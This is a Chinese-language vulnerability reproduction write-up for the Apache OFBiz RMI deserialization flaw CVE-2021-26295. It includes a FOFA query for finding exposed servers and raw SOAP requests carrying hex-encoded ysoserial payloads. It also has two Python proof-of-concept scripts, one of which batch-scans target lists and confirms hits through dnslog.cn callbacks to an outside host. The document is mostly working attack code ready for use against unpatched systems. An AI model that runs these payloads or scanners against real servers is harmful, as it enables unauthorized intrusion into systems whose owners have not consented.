0x00 漏洞描述
OFBiz是基于Java的Web框架,包括实体引擎,服务引擎和基于小部件的UI。
近日,Apache OFBiz官方发布安全更新。Apache OFBiz 存在RMI反序列化前台命令执行,未经身份验证的攻击者可以使用此漏洞来成功接管Apache OFBiz,建议相关用户尽快测试漏洞修复的版本并及时升级。
0x01 影响版本
影响版本:Apache OFBiz < 17.12.06
0X02 FOFA:
app="Apache_OFBiz"
0x03 漏洞复现
环境搭建
docker run -d -p 811:8080 -p 8443:8443 opensourceknight/ofbiz
该漏洞环境无web界面,所以直接构造数据包,经测试GET,POST都可以:
GET /webtools/control/SOAPService HTTP/1.1
Host: 159.75.51.64
Content-Type: test/xml
Content-Length: 875
<?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/><soapenv:Body><ying:clearAllEntityCaches xmlns:ying="http://ofbiz.apache.org/service/"><ying:cus-obj>aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff7400106c6c7a6d316f2e646e736c6f672e636e74000071007e0005740004687474707078740017687474703a2f2f6c6c7a6d316f2e646e736c6f672e636e78</ying:cus-obj></ying:clearAllEntityCaches></soapenv:Body></soapenv:Envelope>
POST /webtools/control/SOAPService HTTP/1.1
Host: 159.75.51.64
Content-Type: test/xml
Content-Length: 875
<?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/><soapenv:Body><ying:clearAllEntityCaches xmlns:ying="http://ofbiz.apache.org/service/"><ying:cus-obj>aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff7400103364616269352e646e736c6f672e636e74000071007e0005740004687474707078740017687474703a2f2f3364616269352e646e736c6f672e636e78</ying:cus-obj></ying:clearAllEntityCaches></soapenv:Body></soapenv:Envelope>
payload生成(dns回显)
首先使用反序列化工具ysoserial生成dns回显的payload:
将生成的payload放入文档
java -jar .\ysoserial.jar URLDNS http://3dabi5.dnslog.cn >1.txt
然后使用以下代码将数据的每个字节都转换hex
import binascii
filename = '1.txt'
with open(filename, 'rb') as f:
content = f.read()
print(binascii.hexlify(content))
将其放入 内容中
POC-1
POST /webtools/control/SOAPService HTTP/1.1
Host: 159.75.51.64
Content-Type: test/xml
Content-Length: 875
<?xml version='1.0' encoding='UTF-8'?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/><soapenv:Body>
<ying:clearAllEntityCaches xmlns:ying="http://ofbiz.apache.org/service/">
<ying:cus-obj>内容</ying:cus-obj>
</ying:clearAllEntityCaches>
</soapenv:Body>
</soapenv:Envelope>
POC-2
POST /webtools/control/SOAPService HTTP/1.1
Host: 159.75.51.64
Content-Type: test/xml
Content-Length: 1023
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>
<soapenv:Body>
<ser>
<map-HashMap>
<map-Entry>
<map-Key>
<cus-obj>内容</cus-obj>
</map-Key>
<map-Value>
<std-String value="http://kif4v7.dnslog.cn"/>
</map-Value>
</map-Entry>
</map-HashMap>
</ser>
</soapenv:Body>
</soapenv:Envelope>
POC:依赖ysoserial
'''
Author: luckying
Date: 2021-03-24 15:01:29
LastEditTime: 2021-03-24 23:04:45
LastEditors: Please set LastEditors
Description: In User Settings Edit
FilePath: \Apache OFBiz\poc.py
'''
import binascii
import requests
import subprocess
import time
import json
import os
import sys
from requests.sessions import session
os.system('')
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# 禁用安全请求警告
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import argparse
class CVE_2021_26295():
def title(self):
print('''
+-----------------------------------------------------------------+
漏洞名称:Apache OFBiz rmi反序列化(CVE-2021-26295 )
功能:单个检测,批量检测
单个检测:python poc.py -u url -d domain
批量检测:python poc.py -f 1.txt
+-----------------------------------------------------------------+
''')
def trans(self, dnslog_url):
cmd = subprocess.Popen(
f'java -jar .\ysoserial.jar URLDNS {dnslog_url}',
bufsize=0,
executable=None,
stdin=None,
stdout=subprocess.PIPE,
stderr=None,
preexec_fn=None,
close_fds=False,
shell=True)
#读取输出内容
data = cmd.stdout.read()
#字符转换
hex_data = binascii.hexlify(data).decode("utf-8")
return hex_data
#漏洞检测
def poc(self, target_url, hex_data):
url = f'{target_url}/webtools/control/SOAPService'
headers = {'Content-Type': 'text/xml'}
data = f'''<?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/><soapenv:Body><ying:clearAllEntityCaches xmlns:ying="http://ofbiz.apache.org/service/"><ying:cus-obj>{hex_data}</ying:cus-obj></ying:clearAllEntityCaches></soapenv:Body></soapenv:Envelope>'''
try:
res = requests.post(url=url,
headers=headers,
data=data,
verify=False,
timeout=10)
return res.status_code
except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)
#随机获取域名
def dnslog_getdomain(self, session):
url = 'http://www.dnslog.cn/getdomain.php?t=0'
try:
res = session.get(url, verify=False, timeout=10)
return res.text
except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)
#获取dnslog响应信息
def dnslog_getrecords(self, session, target_url, domain, count):
url = 'http://www.dnslog.cn/getrecords.php?t=0'
try:
res = session.get(url, verify=False, timeout=10)
except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)
if domain in res.text:
if count == 0:
print(f'[+] 获取到{domain}信息,目标 {target_url} 可能存在漏洞')
else:
print(f'[{str(count)}] 获取到{domain}信息,目标 {target_url} 可能存在漏洞')
def main(self, target_url, dnslog_url, file):
count = 0 #批量检测时计数用
self.title()
#手动输入域名
if target_url and dnslog_url:
hex_data = self.trans(dnslog_url)
print('[+] 正在请求dnslog--------')
status_code=self.poc(target_url, hex_data)
if status_code==200:
print('[+] 响应值为200,请自行查看dnslog信息')
#随机获取dnslog域名
elif target_url:
session = requests.session()
domain = self.dnslog_getdomain(session)
#print(f'获取随机域名:{domain}')
hex_data = self.trans(f'http://{domain}')
self.poc(target_url, hex_data)
self.dnslog_getrecords(session, target_url, domain, count)
elif file:
for url in file:
count += 1
target_url = url.replace('\n', '') #取消换行符
session = requests.session()
domain = self.dnslog_getdomain(session)
time.sleep(1)
hex_data = self.trans(f'http://{domain}')
self.poc(target_url, hex_data)
self.dnslog_getrecords(session, target_url, domain, count)
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-u',
'--url',
type=str,
default=False,
help="目标地址,带上http://")
parser.add_argument("-d",
'--dnslog',
type=str,
default=False,
help="dnslog地址,带上http://")
parser.add_argument("-f",
'--file',
type=argparse.FileType('r'),
default=False,
help="批量检测,带上http://")
args = parser.parse_args()
run = CVE_2021_26295()
run.main(args.url, args.dnslog, args.file)
POC:不依赖ysoserial:
T00ls论坛的不依赖ysoserial的poc
import requests
import sys
import subprocess
from urllib3.exceptions import InsecureRequestWarning
def trans(s):
return "%s" % ''.join('%.2x' % x for x in s)
if __name__ == '__main__':
print('''
=========================================
____ ______ ____ _ _____ ____ _____
/ __ \| ____| _ \(_) | __ \ / __ \ / ____|
| | | | |__ | |_) |_ ____ | |__) | | | | |
| | | | __| | _ <| |_ / | ___/| | | | |
| |__| | | | |_) | |/ / | | | |__| | |____
\____/|_| |____/|_/___| |_| \____/ \_____|
Powered by 0x141 Team ShimizuKawasaki
=========================================
''')
host = sys.argv[1]
comForKey = sys.argv[2]
data = bytes(comForKey, encoding = "utf8")
hex_data = trans(data)
headers = {'Content-Type': 'text/xml'}
post_data = '''<?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/><soapenv:Body><ns1:clearAllEntityCaches xmlns:ns1="http://ofbiz.apache.org/service/"><ns1:cus-obj>aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff740010%s74000071007e0005740004687474707078740017687474703a2f2f%s78</ns1:cus-obj></ns1:clearAllEntityCaches></soapenv:Body></soapenv:Envelope>''' % (hex_data,hex_data)
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
res = requests.post('%s/webtools/control/SOAPService' % host , data = post_data , headers = headers , verify=False)
if res.status_code == 200 :
print("已经测试完成,请检查你的dnslog: " + comForKey)